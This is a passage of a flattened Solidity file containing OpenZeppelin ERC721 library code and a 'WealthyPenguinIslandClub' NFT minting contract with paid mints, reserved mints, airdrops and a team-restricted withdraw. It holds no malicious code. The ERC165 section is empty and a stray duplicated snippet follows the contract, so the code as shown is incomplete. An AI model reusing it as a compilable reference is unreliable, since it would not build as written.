address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/ERC721.so pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/WealthyPenguins.sol pragma solidity ^0.8.0; contract WealthyPenguinIslandClub is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public mainCost = 0.06 ether; uint256 public maxSupply = 5250; uint256 public nftPerAddressLimitMainsale = 10; bool public paused = false; bool public revealed = false; bool public fixChanges = false; //the amount of reserved mints that have currently been executed by creator and by marketing wallet uint private _reservedMints = 0; //the maximum amount of reserved mints allowed for creator and marketing wallet uint private maxReservedMints = 510; mapping(address => uint256) public addressMintedBalanceMainSale; address payable public payments; //address that are alowed to call the withdraw function mapping(address => bool) private approvedAddresses; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri, address _payments ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); payments = payable(_payments); //minting initial blank token //_safeMint(msg.sender, tokenId()); //adding approved addresses to team address[7] memory addresses = [0xF22305ad50E7b36A81EF08d0995Ef3F3788b20F0, 0x30703fbf0c55a4276229757816BF81472402f6aF, 0xE0d6EE9D5132b81C7af7C52b6F08927991ac1FFd, 0x6B9Dc8090b9fCcfDc8Ddb66e0C33B80409d9f5ad, 0xBD584cE590B7dcdbB93b11e095d9E1D5880B44d9, 0xA2A0C84Bf3c1Ff6d0B1c466aaeE77f0C93A393b4, 0x1B4C3f4bE968906f5438c3BE60c4C610B527ef53]; for (uint i = 0; i < addresses.length; i++) { approvedAddresses[addresses[i]] = true; } } modifier onlyApproved() { require(approvedAddresses[msg.sender], 'Address not approved!'); _; } function addToApproved(address newAddress) public onlyOwner { require(!approvedAddresses[newAddress], 'Address has already been approved'); approvedAddresses[newAddress] = true; } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } //gets the tokenID of NFT to be minted function tokenId() internal view returns(uint256) { return totalSupply() + 1; } function mintPenguin(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused, "the contract is paused"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(supply + _mintAmount <= maxSupply - (maxReservedMints - _reservedMints), "max NFT limit exceeded"); require(addressMintedBalanceMainSale[msg.sender] + _mintAmount <= nftPerAddressLimitMainsale, "amount of NFTs allowed to mint exceeded"); require(msg.value == mainCost * _mintAmount, "insufficient funds"); for (uint i = 0; i < _mintAmount; i++) { addressMintedBalanceMainSale[msg.sender]++; _safeMint(msg.sender, tokenId()); } } //reserved NFTs for creator function reservedMint(uint256 number) public onlyOwner { require(_reservedMints + number <= maxReservedMints, "Not enough Reserved NFTs for Creator left to mint.."); for (uint256 i = 0; i < number; i++) { _safeMint(msg.sender, tokenId()); addressMintedBalanceMainSale[msg.sender]++; } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId_) public view virtual override returns (string memory) { require( _exists(tokenId_), "ERC721Metadata: URI query for nonexistent token" ); if(!revealed) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId_.toString(), baseExtension)) : ""; } // single airDrop function airDropPenguin(address to, uint256 tokenId_) public onlyOwner { safeTransferFrom(address (msg.sender),to,tokenId_); } // Bulk airDrop // will you give tokenid and addressess to send one nft or how you want it function airDropPenguins(address[] memory addresses, uint256[] memory tokenIds) public onlyOwner(){ for (uint256 i = 0; i < tokenIds.length; i++){ safeTransferFrom(address (msg.sender),addresses[i],tokenIds[i]); } } function revertRevealPenguins() public onlyOwner() { revealed = !revealed; } function setMainCost(uint256 _newCost) public onlyOwner() { require(fixChanges == false, 'Cost is not changeable now'); mainCost = _newCost; } function setBaseURI(string memory _newBaseURI) public onlyOwner { require(fixChanges == false, 'URI is not changeable now'); baseURI = _newBaseURI; } function lockContract() public onlyOwner{ fixChanges = true; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function reversePause() public onlyOwner { paused = !paused; } function withdrawETH() public onlyApproved { uint256 balance_ = address(this).balance; require(balance_ > 0, 'No funds to be withdrawn'); (bool success, ) = payments.call{value: balance_}(""); require(success); } }
Bulk airDrop will you give tokenid and addressess to send one nft or how you want it
function airDropPenguins(address[] memory addresses, uint256[] memory tokenIds) public onlyOwner(){ for (uint256 i = 0; i < tokenIds.length; i++){ safeTransferFrom(address (msg.sender),addresses[i],tokenIds[i]); } }
10,905,276
